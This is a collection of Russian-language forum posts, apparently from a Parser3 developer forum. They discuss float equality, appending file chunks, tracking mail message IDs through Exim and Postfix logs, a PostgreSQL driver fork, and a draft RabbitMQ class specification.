"86847","Справочно: 9 августа вышел Debian 13, в нем parser 3.5.1 (по сути это 3.5.0 с добавленным оператором ^syslog[]). Так что в стабильном Debian теперь актуальная версия парсера, что бывает упрощает настройку серверов (и контейнеров)."
"86848","Где можно почитать про ^syslog[] ?"
"86849","https://github.com/artlebedev/parser3/blob/master/operators.ru.txt#L159\
\
^syslog[ident;message[;info|warning|error|debug]]\
        пишет message в syslog\
\
\
Это простая обертка над методом syslog в libc. Редко, но бывает нужно. ident по умолчанию - parser3. Под Windows пишет в лог парсера."
"86850","Добрый день.\
Уже известная проблема с double:\
[code]$i1(0.7)\
$i2(0.1)\
$i3($i1+$i2)\
$i4($i3*10)\
$i5(0.8)\
i1: $i1=>^i1.format[%0.20f]\
# 0.7=>0.69999999999999995559\
i2: $i2=>^i2.format[%0.20f]\
# 0.1=>0.10000000000000000555\
i3: $i3=>^i3.format[%0.20f]\
# 0.8=>0.79999999999999993339\
i4: $i4=>^i4.format[%03d]\
# 8=>007\
\
1. ^if($i1+$i2==$i5){TRUE}{FALSE}\
# FALSE\
2. ^if($i3==$i5){TRUE}{FALSE}\
# FALSE\
3. ^if(^i1.format[%0.1f]+^i2.format[%0.1f]==$i5){TRUE}{FALSE}\
# FALSE\
4. ^if($i3 eq $i5){TRUE}{FALSE}\
# TRUE[/code]\
\
Если $i1(0.5), а $i5(0.6), то все 4 условия выдадут TRUE.\
Т.е. если попал не на те числа, то сам дурак.)\
\
Планируется ли добавление типа decimal (или изменение double), чтобы можно было работать с точными данными из коробки?"
"86851","[quote]^таблица.menu{код}  \
\
Метод menu выполняет код для каждой строки таблицы, последовательно перебирая все строки.\
[/quote]\
\
а если курсор у table стоял условно по центру - ^.menu{} ВСЕГДА начнет с нулевой (сначала) позиции?\
\
а после окончания ^.menu{} - курсор вернется на нулевую позицию, на там где бьіл до меню или останется в конце ?"
"86852","Что мешало проверить самому?)\
[code]	$t[^table::create{id\
1\
2\
3\
4}]\
	$t.id\
#	1\
	^t.offset(2)\
	$t.id\
#	3\
	^t.menu{$t.id}[,]\
#	1,2,3,4\
	$t.id\
#	3[/code]"
"86854","С опциональной возможностью задания порога по ULP, при котором числа считаются равными\
https://en.wikipedia.org/wiki/Unit_in_the_last_place\
\
Но вообще результаты арифметических операций проверять на точное равенство — занятие сомнительное..."
"86855","[quote]Но вообще результаты арифметических операций проверять на точное равенство — занятие сомнительное...[/quote]\
\
Если есть какое-то значение, при котором надо что-то сделать, то очень даже нужное занятие.)\
\
Не припомню примеров, когда точность в расчетах не была бы нужна.\
\
Было бы удобно, если бы был параметр в конфиге, чтобы [b]double[/b] начинал вести себя как [b]decimal[/b], если добавить новый тип в парсер нельзя."
"86856","Если отправлять почту например telnet-ом через exim:\
\
telnet my-exim-test 25\
Trying 172.18.0.106...\
Connected to my-exim-test.\
Escape character is '^]'.\
220 mydomain.ru ESMTP Exim 4.96 Wed, 27 Aug 2025 17:59:02 +0000\
\
helo mydomain.ru\
250 mydomain.ru Hello my-ssh.my-net [172.18.0.55]\
mail from:info@mydomain.ru\
250 OK\
rcpt to:ivanov@mail.ru\
250 Accepted\
data\
354 Enter message, ending with \".\" on a line by itself\
subject:QQQQQ\
WWW DDDD\
.\
250 OK id=1urKT0-00001D-0Z\
\
Мы получаем в ответ идентификатор письма, которое мы запихнули в exim (id=1urKT0-00001D-0Z)\
Было бы здорово, если бы можно было сделать $sMsgId[^mail:send[....]]"
"86857","Добрый день.\
Когда нужно иметь возможность заливать большие файлы и не нарваться на лимиты по таймауту и размеру, можно загружать файлы частями, а потом их собирать.\
\
В доке сказано, что:\
[quote]^файл.save[формат;имя файла;опции]   [3.4.0]\
Формат - формат сохранения файла (text или binary);\
$.append(false|true) - если файл существует, то дописать файл в конец существующего файла; по умолчанию, если файл с указанным именем существует, то он будет перезаписан.   [3.4.6] [/quote]\
\
Где-то на форуме писали, что парсер работает с бинарниками в ограниченном режиме, но для текстовых файлов параметр [b]append[/b] тоже не работает:\
[code]	$fFile[^file::load[text;data.txt]]\
	^fFile.save[text;data1.txt;\
		$.append(true)\
	][/code]\
Получаем:\
[code]save\
called with invalid option[/code]\
\
Написал метод сборки любых файлов:\
[code]########################################\
# sPartsPath - путь к папке с частями файла\
# sSavePath - путь для сохранения собранного файла\
@assembleFile[sPartsPath;sSavePath][locals]\
	$tParts[^file:list[$sPartsPath]]\
	^tParts.menu{\
		$fFile[^file::load[binary;$sPartsPath/$tParts.name]]\
		$sFileBase64[${sFileBase64}^fFile.base64[]]\
	}\
	$fFile[^file::base64[binary;1.bin;$sFileBase64]]\
	^fFile.save[binary;$sSavePath]\
	$result[][/code]\
\
Метод работает, но смущает необходимость перегонять данные в BASE64 туда-обратно вместо использования опции [b]append[/b] при сохранении файла.\
На текущий момент других вариантов я не знаю.\
\
Может, стоить починить [b]append[/b] при сохранении файлов и добавить туда возможность дописывать в бинарники?\
Или уже есть аналогичный функционал без танцев с бубном?)"
"86858","В коде file.save ключа append нет и не похоже, что был. :)\
https://github.com/artlebedev/parser3/blob/03287bb39c3ec6604ced770e05bec50e133ce5d0/src/classes/file.C#L139\
\
А вот в коде метода string.save ключик есть и он работает. Для текстов.\
https://github.com/artlebedev/parser3/blob/03287bb39c3ec6604ced770e05bec50e133ce5d0/src/classes/string.C#L625\
\
Написать програмку мерджа нескольких файлов в один несложно на любом языке общего назначения (Питон, Го и т.п.). Строчек в 10-20. И позвать из Парсера."
"86859","cat_storage_file.sh\
#!/bin/bash\
\
last=${@:$#} # last parameter\
other=${*%${!#}} # all parameters except the last\
\
cat $other > $last\
\
\
и на парсере примерно так:\
\
$tArgs[^table::create{name}]\
$sAppTempPath[${request:document-root}../$sTempPath]\
^for[iCounter](1;$tData.chunk_total){\
	^tArgs.append{$sAppTempPath/${iCounter}.chunk}\
}\
^tArgs.append{$sAppTempPath/_orig_$tData.name}\
	\
	\
^if(def $env:PARSER_VERSION && ^env:PARSER_VERSION.match[win]){\
# Под windows склейку делаем по-другому (через copy /b ...)\
#		$fFile[^file::exec[copy /b ^for[iCounter](1;$tData.chunk_total){$sAppTempPath/${iCounter}.chunk}[+] $sAppTempPath/$tData.name]]\
}{\
	$fFile[^file::exec[/../sh/cat_storage_file.sh;;$tArgs]]\
}"
"86860","[code]Написать програмку мерджа нескольких файлов в один несложно на любом языке общего назначения (Питон, Го и т.п.). Строчек в 10-20. И позвать из Парсера.[/code]\
\
Обычно это так и делается.)\
\
[quote]Поддержка бинарных файлов в Парсере ограничена по идеологическим соображениям.[/quote]\
\
Т.е. никакой поддержки работы с бинарными файлами не будет вообще?\
Если да, то в чем заключаются идеологические соображения, если, конечно, это не секрет?"
"86863","... да ещё и в несколько строк. Кроме того, базовый способ отправки писем — sendmail, а он не обязан возвращать айдишники.\
\
Стандартный Гошный пакет net/smtp и базовые методы отправки из питоновской smtplib тоже не умёт возвращать текстик после data ... 250 OK.\
\
Поэтому приёдется вручную звать методы smtplib, чтобы явно вызвать команду data и получить и статус и мессадж с айдишником — https://github.com/python/cpython/blob/f6536d48cd294f3dea6a4ecfd8148aa505dbb581/Lib/smtplib.py#L565"
"86864","Поэтому он имеет минимально-необходимый набор функция для работы с блобами. Если надо копаться в байтах и битах, то для этого есть другие языки.\
\
Прямо скажем, и в Питоне работа с двоичными данными не то чтобы удобная. Зато есть достаточно развесистый файловый АПИ, который затаскивать в Парсер смысла нет.\
\
p.s. Мне совсем непонятна идея одного языка программирования на все случаи жизни. Если нам нужно что-то специфическое, то позвать внешнюю программу не представляется проблемой."
"86865","это может быть и отдельный метод ^mail:send_detail[], чтобы не ломать миллионы проектов, где уже используется ^mail:send[]"
"86866","Технически вы можете попробовать затащить в Парсер какой-то плюсовый класс с реализацией чисел с фиксированной точкой. Вероятно, разверзнутся бездны и вы не захотите это всё поддерживать. :)"
"86867","Вы код бы глянули, там мягко-говоря, не shell-скрипт. :)\
\
https://github.com/artlebedev/parser3/blob/03287bb39c3ec6604ced770e05bec50e133ce5d0/src/classes/mail.C#L178\
\
https://github.com/artlebedev/parser3/blob/03287bb39c3ec6604ced770e05bec50e133ce5d0/src/classes/mail.C#L59\
\
https://github.com/artlebedev/parser3/blob/master/src/lib/smtp/smtp.C\
\
\
p.s. По большому счёту, текущий вариант отправки писем сильно куцый. Без ssl/starttls работать с чем-то кроме совсем локального smtp не получается. Поэтому если хотим низкого уровня, то только внешний программы решат задачу."
"86868","Добавление некоторых фич в язык только его развивает и улучшает. Чем на проекте разводить зоопарк языков, только потому что в каком-то языке не хватает какой-то возможности, тоже такое себе (при условии если это не сложно добавить в язык программирования).\
\
Любой живой язык должен развиваться. Если парсер это латынь или эсперанто, то печально ... Хочется верить в его развитие.\
\
Мы например сейчас в какой-то мере сделали на парсере фреймворк для разработки api для сайтов/интернет-магазинов в связке с постгресом - начиная от свагера, миграций, работы с s3, предгенерацией превью картинок, быстрым полнотекстовым поиском, админкой, мета-языком для CRUD-методов для админки и т.д. С парсерными докер-контенерами, помещением этого добра в кубер.\
\
Работает это прям резвее без кешей, чем ларавелы и прочие битриксы + максимальная гибкость (нельзя сказать как любят говорить битрикс-программисты \"битрикс так не умеет\")"
"86869","Парсер вполне себе развивается. Чтобы обвешивать Парсер фичами нужно боллее активное комьюнити и разработчики, готовые инвестировать время и силы в развитие языка и библиотек. Пока ничего этого не видно вообще.\
\
Многие вещи в Парсер добавляются очень несложно. Код стабильный и можно свои патчи даже в транк не пропихивать. Моко очень либерально относится к предложениям с кодом и серьезно помогает допилит патчики.\
\
Вы сам можете попробовать сделать метод mail:send2, который вернет ади сообщения. Для этого надо буквально 5 мест изменить. И спокойно проверит гипотезу удобно это или нет. ;)"
"86870","Т.е. если кто-то напишет патч, который позволит работать методу [b]append[/b] при сохранении бинарника (или вообще методы для работы с такими файлами), то он может быть рассмотрен и даже принят, несмотря на идеологические соображения?)"
"86871","Есть задачи, где нужно работать с блобами. И у Парсера есть возможность получить, сохранить и отправить блобы во внешний мир.\
\
Метод append не противоречит этому. Только его надо сделать универсальным, чтобы он работал и для текстовых данных и для бинарных. Не забываем, что для текстовых данных Парсер должен делать конвертировать кодировки и экранировать грязное, если контекст требуется.\
\
Хотя, опять же, мне непонятна идея обязательно тащить это всё в Парсер. Внешняя программа для вашей задачи пишется существенно проще и быстрее.\
\
Мне неизвестны случаи когда получается сделать более-менее сложную систему на одном языке программирования. Так или иначе появятся shell-скрпиты, питоновские скрипты для связи с сишным кодом или массовой заливки в постгрес через copy-протокол и т.д. и т.п. :)"
"86872","Я немного смотрел исходники парсера :).\
\
Ну пока оно и надо работать с локальным exim|postfix\
Потом собирать например через syslog-ng их логи в бд, а там id сообщений. И их надо уметь например сопоставлять с вызовами ^mail:send[] из парсера. А сопоставлять не с чем - мы кинули письмо в почтовик, ошибку не получили и про письмо больше ничего не знаем.\
Тут да пути, либо получать при отправке id сообщения в ответ, либо пихать в письмо какой-то заголовок с уникальным id и как-то его в логи поймать (но тоже не понятно как это в логи поиметь)"
"86873","Который принимает от Парсера по http задачу на отправку письма, а дальше отправлет по smtp, добавляет или парсит айди сообщения, пишет в базу, логи и т.п.\
\
Потому что как только добавится парсинг почты, окажется, что сообщения надо отправлять в Макс, Телеграм или ещё куда-то. А там сразу таймауты появятся, временный разрыв сети и нам надо будет ещё и очередь для этого иметь.\
\
Прямо классическая задачка для async io в Питоне. :) Собственно я себе прокси для мессенджеров написал сразу после первого же падения АПИ Телеграма, которое выжрало все воркеры Парсера."
"86874","Четыре года назад сделал форк Постгресовского драйвера, но забыл написать в форум. :)\
\
https://github.com/unhandled-exception/parser3postgresql\
\
Форк драйвера Постгреса из Парсера для современных версий Постгреса (9.6 и выше). Строка подключения не Парсеровская, а стандартная [url=https://postgrespro.ru/docs/postgresql/17/libpq-connect#LIBPQ-CONNSTRING]Постгресовская в uri-формате[/url]. Альтернативный драйвер не делает никаких конвертаций кодировок и автоматических транзакций. Если у вас не весь код в utf-8, то посмотрите на параметр client_encoding в описании к libpq.\
\
Это может быть нужно, если требутеся тонко настраивать libpq, например для выбора пишущей или читающей реплики в кластерной топологии Постгреса.\
\
Драйвер в исходниках, бинарных версий не планируется."
"86875","Подключаться к очереди и брать оттуда задачи.\
Работать с ребитом через апи (ставить задачи, проверять очереди) тут проблем нет (даже класс написан под это парсерный).\
\
А вот закрыть бы гештальт, чтобы парсер мог работать воркером сервера очередей, было бы круто )\
Сейчас же надо городить огород через всякие дополнительные прослойки. И это скорости работы не прибавляет. И развертывать приложение такое лишние 5е колеса появляются."
"86876","На PHPMailer написан считай smtp-сервер, который получает не по одному адресу, а пачки штук по 100, запускается на одной впс-ке в 10-20 потоков (и впс-ок много) и шпарит письма, собирает ответы (успешные, ошибки), ставит в очереди на повторные отправки и т.п.\
\
Несколько млрд-ов писем так уже ушло :))\
\
Но появилась мысль может сделать через Exim(-ы) всё же. Exim умеет досылать, повторы делать и т.п. Но если в exim запихнуть письмо например парсером или пхп, то мы о его судьбе больше не узнаем никогда."
"86877","«Лишние колеёса» — это микросервисная архитектура. И она вполне работает.\
\
А вот делать из Парсера долгоживущие воркеры вряд ли целесообразно. Но опять же никто не мешает написать демона, который слушает очередь и вызывает Парсера асинхронно по http на каждое сообщение. Не исключено, что такое вообще можно на nginx/lua сделать.\
\
p.s. Вот выложили бы на Гитхаб класс для работы с Кроликом — всем бы полезно было."
"86878","Тем более, что вам для этого требуется поменять кусоку плюсового кода в Парсере. А это уже не так просто и весело. :)"
"86880","\"Если вы сами положите валидный заголовок Message-ID: в письмо (и подадите его через sendmail -t/pipe или по SMTP в блоке DATA), нормальные MTA (Postfix/Exim/Sendmail/qmail) обычно не генерируют свой, а оставляют ваш; они добавляют Message-ID только когда его нет.\"\
Проверил - в почтовых логах и письме действительно был указанный мной Message-ID."
"86881","[quote]Может, стоить починить append при сохранении файлов и добавить туда возможность дописывать в бинарники?[/quote]\
\
Тут на вид просто, флаг do_append уже есть, надо лишь его передать."
"86882","^mail:send[\
...\
$.Message-ID[12345]\
]\
\
2025-08-29 13:30:38 1urzBe-000036-0p <= info@my-site.ru H=parser3-api.my-net (6cbb53170060) [172.18.0.28] P=smtp S=571 id=12345\
2025-08-29 13:30:39 1urzBe-000036-0p => ivanoff@outlook.com R=dnslookup T=remote_smtp H=outlook-com.olc.protection.outlook.com [52.101.68.20] X=TLS1.3:TLS_AES_256_GCM_SHA384:256 CV=yes K C=\"250 2.6.0 <12345> [InternalId=44225278256980, Hostname=AS4PR10MB7942.EURPRD10.PROD.OUTLOOK.COM] 10429 bytes in 0.104, 97.644 KB/sec Queued mail for delivery -> 250 2.1.5\"\
2025-08-29 13:30:39 1urzBe-000036-0p Completed\
\
Этот id в логе фигурирует в двух местах:\
id=12345\
<12345>\
\
в принципе по нему можно выдернуть: 1urzBe-000036-0p"
"86883","Ну если хорошо распишите класс, в теории наверное можно сделать. https://packages.debian.org/forky/librabbitmq4 в Debian есть.\
\
[code]$amqp[^rabbitmq::create[user:password@localhost:5672/;\
      $.tls[ $.ca[/etc/ssl/ca.crt] $.cert[/etc/ssl/app.crt] $.key[/etc/ssl/app.key] ]\
      $.heartbeat[30] $.retry[ $.min_ms[500] $.max_ms[15000] $.factor[2.0] $.jitter(true) ]\
]]\
\
^amqp.declare_exchange[ $.name[jobs] $.type[direct] $.durable(true) ]\
\
^amqp.declare_queue[ $.name[jobs.test] $.durable(true) $.dlx[jobs.dlx] $.dlk[rk.dead] ]\
^amqp.bind[ $.queue[jobs.test] $.exchange[jobs], $.routing_key[test] ]\
\
^amqp.consume[\
  $.queue[jobs.test]\
  $.prefetch[16]\
  $.concurrency[8]\
  $.mode[parallel|threaded|sequental?]\
  $.serializer[json] ^rem{ едва ли будет другой }\
  $.on_message[$test_worker] ^rem{ имя Parser-функции-хендлера }\
]\
[/code]\
\
declare_queue / bind - наверное можно объединить, возможно нужен механизм выхода из consume."
"86884","Насколько понимаю, должен быть вида <уникально@ваш-домен>."
"86885","[quote]Это может быть нужно, если требуется тонко настраивать libpq, например для выбора пишущей или читающей реплики в кластерной топологии Постгреса.[/quote]\
\
\
И в \"официальном\" драйвере можно передавать любые опции, которые поддерживает postgresql:// и в этом случае парсер дальше сам сформирует строку в формате postgresql:// и передаст ее драйверу.\
\
\"postgresql:// scheme connect options are now supported\"\
https://cvsview.parser.ru/cgi/viewcvs.cgi/sql/pgsql/parser3pgsql.C?r1=1.49&r2=1.50"
"86887","https://github.com/redis/hiredis мы можем в lib положить (BSD).\
\
Правда я пока не понимаю как лучше сделать — затаскивать кучу методов для каждой команды или сделать буквально в пару методов:\
[code]\
$r[^redis::connect[url]]\
^r.redisCommand[SET foo bar]\
[/code]"
"86889","Будет описание класса - сделать не проблема. Библиотека в Debian тоже есть https://packages.debian.org/trixie/libhiredis-dev (в Debian не любят, когда библиотеки дублируются в ПО, требуют оформлять зависимостями - так проще выпускать обновления безопасности)."
"86890","Может понадобится альтернатива, когда придётся задавать что-то такое «postgresql:///dbname?host=/var/lib/postgresql»\
\
Мы в Редмайне обсуждали, что Парсеровское копание в урле покрывает не все кейсы. А раз мы не договорились то есть и форк, который я и выложил по правилам GPL2.:)"
"86891","... но после работы в бигтехах я очень полюбил статическую сборку. :)"
"86892","Я из обсуждения тогда не уловил, что есть какие-то кейсы, которые не покрыты. :) Не проверял, но по по-идее и такой пример должен работать, только возможно потребуется записать как pgsql://@/dbname?host=/var/lib/postgresql."
"86893","На сайте понятно будет собранный статически, зачем нам лишние .dll/.so. :)"
"86894","— Выпилена смена кодировок вообще, что для апстрима не годится, но мне подходит лучше.\
— Грязные строки эскейпятся через libpq (https://github.com/unhandled-exception/parser3postgresql/commit/ffa94f3a7a319393057cfae9583ee8176792e535). Мне больше нравится, когда постгрес сам отвечает за эскейпинг.\
\
Кроме того, есть желание попробовать сделать декодирование массивов и джисонов, раз уж таблички умеют хранить теперь любые типы в ячейках."
"86895","Если не передавать Message-ID, то в \
id=пусто\
<E_код_совпадает@дефолтный_домен_из_exim>\
\
2025-08-29 15:05:20 1us0fG-00003q-2V <= info@my-site.ru H=parser3-api.my-net (6cbb53170060) [172.18.0.28] P=smtp S=603\
2025-08-29 15:05:26 1us0fG-00003q-2V => ivanoff@outlook.com R=dnslookup T=remote_smtp H=outlook-com.olc.protection.outlook.com [52.101.41.20] X=TLS1.3:TLS_AES_256_GCM_SHA384:256 CV=yes K C=\"250 2.6.0 <E1us0fG-00003q-2V@default-site.ru> [InternalId=22673132358735, Hostname=AM7PR10MB3511.EURPRD10.PROD.OUTLOOK.COM] 10548 bytes in 0.145, 70.908 KB/sec Queued mail for delivery -> 250 2.1.5\"\
2025-08-29 15:05:26 1us0fG-00003q-2V Completed\
\
\
а если передать даже в похожем формате, то он свой случайны код делает"
"86896","У нас везде postfix, там все получилось, что в общем логично. e-mail провайдеры типа Gmail - да, ставят свой Message-ID. Но своему почтовому серверу зачем его менять? Но не исключаю, что есть настройки на эту тему.\
\
/usr/sbin/sendmail -oi -t <<'EOF'\
From: moko@design.ru\
To: moko@moko.ru\
Subject: test\
Date: Fri, 29 Aug 2025 17:30:00 +0300\
Message-ID: <20250829.173000.test123@moko.design.ru>\
\
test\
EOF\
\
Aug 29 16:16:23 mail postfix/pickup[410719]: DD6A514E0486: uid=500 from=<moko>\
Aug 29 16:16:23 mail postfix/cleanup[413643]: DD6A514E0486: message-id=<20250829.173000.test123@moko.design.ru>\
Aug 29 16:16:23 mail opendkim[826]: DD6A514E0486: DKIM-Signature field added (s=email, d=design.ru)\
Aug 29 16:16:23 mail postfix/qmgr[410718]: DD6A514E0486: from=<moko@mail.design.ru>, size=365, nrcpt=1 (queue active)\
Aug 29 16:16:24 mail postfix/smtp[410871]: DD6A514E0486: to=<moko@moko.ru>, relay=127.0.0.1[127.0.0.1]:10024, delay=0.41, delays=0.11/0/0/0.29, dsn=2.0.0, status=sent (250 2.0.0 from MTA(smtp:[127.0.0.1]:10025): 250 2.0.0 Ok: queued as 39D2614E0487)\
Aug 29 16:16:24 mail postfix/qmgr[410718]: DD6A514E0486: removed"
"86898","DD6A514E0486 сгенерил MTA. В любом случае придётся мапить id агента на заголовок message-id. Осталось добиться, чтобы Экзим его в лог писал."
"86899","Мне показалось, что нужен идентификатор письма. А DD6A514E0486 - это queue ID (идентификатор сообщения в очереди). Этот ID используется внутри логов для отслеживания прохождения конкретного письма через разные стадии (pickup, cleanup, qmgr, smtp и т. д.). Ну и по DD6A514E0486: message-id=<20250829.173000.test123@moko.design.ru> можно сопоставить одно другому."
"86900","Хотя в конфиге у log_selector никакого -msg_id нет. :)"
"86902","2025-08-29 13:30:38 1urzBe-000036-0p <= info@my-site.ru H=parser3-api.my-net (6cbb53170060) [172.18.0.28] P=smtp S=571 [b]id=12345[/b]\
2025-08-29 13:30:39 1urzBe-000036-0p => ivanoff@outlook.com R=dnslookup T=remote_smtp H=outlook-com.olc.protection.outlook.com [52.101.68.20] X=TLS1.3:TLS_AES_256_GCM_SHA384:256 CV=yes K C=\"250 2.6.0 [b]<12345>[/b] [InternalId=44225278256980, Hostname=AS4PR10MB7942.EURPRD10.PROD.OUTLOOK.COM] 10429 bytes in 0.104, 97.644 KB/sec Queued mail for delivery -> 250 2.1.5\"\
2025-08-29 13:30:39 1urzBe-000036-0p Completed\
\
Этот id в логе фигурирует в двух местах:\
id=12345\
<12345>"
"86904","но оно так во всех языках программировния работает - js, php, phyton ..."
"86905","Кроме того:\
\
[quote]Или уже есть аналогичный функционал без танцев с бубном?)[/quote]\
\
Есть, https://www.parser.ru/news/\
\"Методу копирования файлов ^file:copy[] добавлена опция $.append(true), позволяющая дописать файл в конец другого файла.\"\
Просто в документации эта опция была случайно добавлена в метод save, а не copy. :)"
"86906","[b]file:copy[/b] с параметром [b]$.append(true)[/b] отлично собирает двоичные и текстовые файлы.\
Теперь можно обойтись без самописного метода и не использовать сторонние приложения.\
\
Осталось только в доку внести изменения.)\
\
Как я понимаю, метод [b]file.save[/b] с параметром [b]$.append(true)[/b] будет вести себя аналогично - лишним не будет."
"86907","Есть тонкий момент. Текущее поведение оператора == для double в Parser соответствует поведению в других языках. Так делают из-за того, что приблизительное сравнение не транзитивно (может быть a≈b и b≈c, но a≈c — нет). Поэтому пока добавил метод ^math:eq(a;b[;max ULP]) для приблизительного сравнения. \
max ULP — максимально допустимая разница между упорядоченными двоичными представлениями двух double, по умолчанию 3. Для нормализованных значений это ≈ 3·2⁻⁵² ≈ 6.7×10⁻¹⁶, то есть отклонения на уровне 15–16-й значащей десятичной цифры.\
По [url=\"https://github.com/artlebedev/parser3/blob/master/tests/results/446.processed\"]ссылке[/url] можно посмотреть, какие числа считаются или не считаются равными для разных значений max ULP. \
Технически можно поменять именно поведение оператора ==, но пока не очень понимаю, будут ли негативные последствия и max ULP можно будет задавать только в конфигурационном методе."
"86908","Может сделать хотя бы такой вариант, попробовать им попользоваться, а там будет видно - может появятся какие-то ещё мысли/идеи чего не хватает.\
В основном надо уметь брать задачу из очереди, получать из неё данные и передавать их в метод хендлер.\
Ну ещё ставить задачу в очередь, чтобы не через http-апи. Работа с биржами (постановка/взятие). Можно наверное тупо срисовать с php, как там используется клиент.\
\
типа этого https://github.com/php-amqplib/php-amqplib"
"86909","[quote]Что есть \"хорошо распишите класс\"?[/quote]\
\
Примерно на таком уровне, как в [url=\"https://github.com/artlebedev/parser3/blob/master/operators.ru.txt#L814\"]operators.txt[/url]. Я не знаю, какие опции нужны, какие можно не делать. Какие-то может упустил. Какие должны быть значения по умолчанию?\
\
[quote]В основном надо уметь брать задачу из очереди, получать из неё данные и передавать их в метод хендлер.[/quote]\
\
Опять же формат данных, достаточно ли строк (json) или может нужна поддержка бинарных данных (файлов), структурированных данных или.\
\
[quote]Ну ещё ставить задачу в очередь, чтобы не через http-апи. Работа с биржами (постановка/взятие).[/quote]\
\
Вот и это надо расписать, какие опции нужны? Плюс обработку ошибок. Исключение в парсере при обработке задачи должно ли прерывать consume?"
"86910","[code]amqp\
    $oAmqp[^amqp::create[\
        $.host[localhost]                хост\
        $.port(5672)                     порт\
        $.user[user]                     username\
        $.password[pass]                 пароль\
        $.vhost[/]                       vhost\
        $.login_method[AMQPLAIN|PLAIN|EXTERNAL] AMQPLAIN - поумолчанию\
        $.login_response[]\
        $.locale[en_US]                  локаль\
        $.read_timeout(3000)             таймаут для записи (ms)\
        $.write_timeout(3000)            таймаут для записи (ms)\
        $.keepalive(false)\
        $.insist(false)\
        $.channel_rpc_timeout(0.0)\
        $.tls[\
            $.ca[/etc/ssl/ca.crt]\
            $.cert[/etc/ssl/app.crt]\
            $.key[/etc/ssl/app.key]\
        ]\
        $.heartbeat(0)\
        $.retry[\
            $.min_ms(500)\
            $.max_ms(15000)\
            $.factor(2.0)\
            $.jitter(true)\
        ]\
    ]]\
        Конструктор класса\
\
    ^oAmqp.declare_exchange[\
        $.name[main],\
        $.type[direct|topic|headers|fanout] тип биржи\
        $.passive(false)                    если true, не объявляет очередь, а проверяет ее существование и выдает исключение если ее не существует,\
                                            если false и очередь существует, ничего не делает\
        $.durable(false)                    гарантирует сохранность определения биржи после перезапуска брокера\
        $.auto_delete(true)                 автоудаление биржи\
        $.nowait(false)                     если установлено true, сервер не будет отвечать на метод. Клиенту не следует ожидать ответа метода.\
    ]\
        Объявить биржу \
        (Если серверу не удалось выполнить метод, он вызовет исключение канала или соединения)\
\
    ^oAmqp.delete_exchange[\
         $.exchange[]                        название биржи\
         $.if_unused(false)                  если true, то очередь удалится только если не используется\
         $.nowait(false)                     если установлено true, сервер не будет отвечать на метод. Клиенту не следует ожидать ответа метода.\
    ]\
        Удалить биржу\
        (Если серверу не удалось выполнить метод, он вызовет исключение канала или соединения)\
\
    ^oAmqp.declare_queue[\
        $.queue[]                            если отставить пустой должно вернуть имя очереди\
        $.exchange[]                         название биржи\
        $.passive(false)                     если true не объявляет очередь, а проверяет ее существование и выдает исключение если ее не существует,\
                                             если false и очередь существует, ничего не делает\
        $.durable(false)                     гарантирует сохранность определения очереди после перезапуска брокера\
        $.auto_delete(true)                  автоудаление очереди\
        $.nowait(false)                      если установлено true, сервер не будет отвечать на метод. Клиенту не следует ожидать ответа метода.\
    ]\
        Объявить очередь\
        (Если серверу не удалось выполнить метод, он вызовет исключение канала или соединения)\
\
    ^oAmqp.delete_queue[\
        $.queue[]                            если отставить пустой должно вернуть имя очереди\
        $.if_unused(false)                   если true, то очередь удалится только если не используется\
        $.if_empty(false)                    если установлено true, очередь удалиться только если пуста\
        $.nowait(false)                      если установлено true, сервер не будет отвечать на метод. Клиенту не следует ожидать ответа метода.\
    ]\
        Удалить очередь\
        (Если серверу не удалось выполнить метод, он вызовет исключение канала или соединения)\
\
    ^oAmqp.publish[\
           $.msg[msg]                         строка сообщения (возможно json-строка)\
           $.properties[]                     hash - доп свойства для сообщения например можно установить заголовки или отложить выполнение сообщения\
           $.exchange[]                       название биржи, если не указать, то надо указать queue, которая создастся для биржи по умолчанию \
           $.queue[]                          название очереди, если отставить пустым должно опубликоваться на биржу\
           $.mandatory(false)                 если true и сообщение никуда не попало, сообщение будет возвращено отправителю\
           $.create_queue(true)               если true, то объявит очередь, если ее нет\
           $.create_exchange(true)            если true, то объявит биржу, если ее нет\
    ]\
        Опубликовать сообщение\
\
    ^oAmqp.publish[^array::create[\
           $.msg[msg]                         строка сообщения (возможно json-строка)\
           $.properties[]                     hash - доп свойства для сообщения например можно установить заголовки или отложить выполнение сообщения\
           $.exchange[]                       название биржи, если не указать, то надо указать queue, которая создастся для биржи по умолчанию \
           $.queue[]                          название очереди, если отставить пустым должно опубликоваться на биржу\
           $.mandatory(false)                 если true и сообщение никуда не попало, сообщение будет возвращено отправителю\
           $.create_queue(true)               если true, то объявит очередь, если ее нет\
           $.create_exchange(true)            если true, то объявит биржу, если ее нет\
        ;...;...\
    ]]\
        Опубликовать несколько сообщений\
\
\
    ^oAmqp.consume[\
        $.queue[]                             имя очереди\
        $.consumer_tag[]                      идентификатор слушателя, если оставить пустым будет сгенерирован автоматический\
        $.no_ack(false)                       если false, то при получении сообщение, оно будет сразу подвержено,\
                                              если true, то сообщение будет считаться обработанным после явного подтверждения методом ack\
        $.nowait(false)                       если установлено true, сервер не будет отвечать на метод. Клиенту не следует ожидать ответа метода\
        $.callback[$my_callback_method]       функция для обработки сообщений\
    ]\
        Слушать сообщение из очереди\
        (Если серверу не удалось выполнить метод, он вызовет исключение канала или соединения)\
\
    @my_callback_method[$h]\
        $h.msg                                string - сообщение\
        $h.delivery_tag                       string - тег доставки(используется для подтверждения сообщения)\
        $h.consumer_tag                       string - идентификатор слушателя\
        $h.exchange                           string - название биржи\
        $h.queue                              string - название очереди\
        $h.properties                         hash - доп свойства для сообщения например можно установить заголовки\
        \
        Пример функции, которая будет обрабатывать сообщения\
\
    ^oAmqp.stop_consume[]\
        Остановить прослушивание очереди\
\
\
    ^oAmqp.ack[delivery_tag]\
        Подтвердить обработку сообщение\
\
    ^oAmqp.reject[delivery_tag]\
        Отклонить обработку сообщение и вернуть его обратно в очередь\
[/code]"
"86911","Вот с этим уже можно работать, спасибо.\
\
Возможно как-то стоит разделить методы, выделив достаточные для простого режима (только работа с очередями через default exchange) и методы расширенного режима?\
\
Еще спросил GPT, он сделал нижеследующие комментарии. Возможно стоит поправить:\
    declare_queue не должен принимать exchange: объявление очереди ≠ привязка к бирже. Нужен отдельный метод bind_queue(exchange, queue, routing_key, args) и unbind_queue.\
    publish должен иметь routing_key. Поле queue допустимо только как сахар для публикации в default exchange (\"\") с routing_key = queue.\
    consume.no_ack описан наоборот. Должно быть: no_ack=true = авто-подтверждение; no_ack=false = ждать явный ack/nack.\
    delete_exchange.if_unused и описания «удалится очередь» — терминологическая ошибка. Речь про использование биржи (имеются ли привязки).\
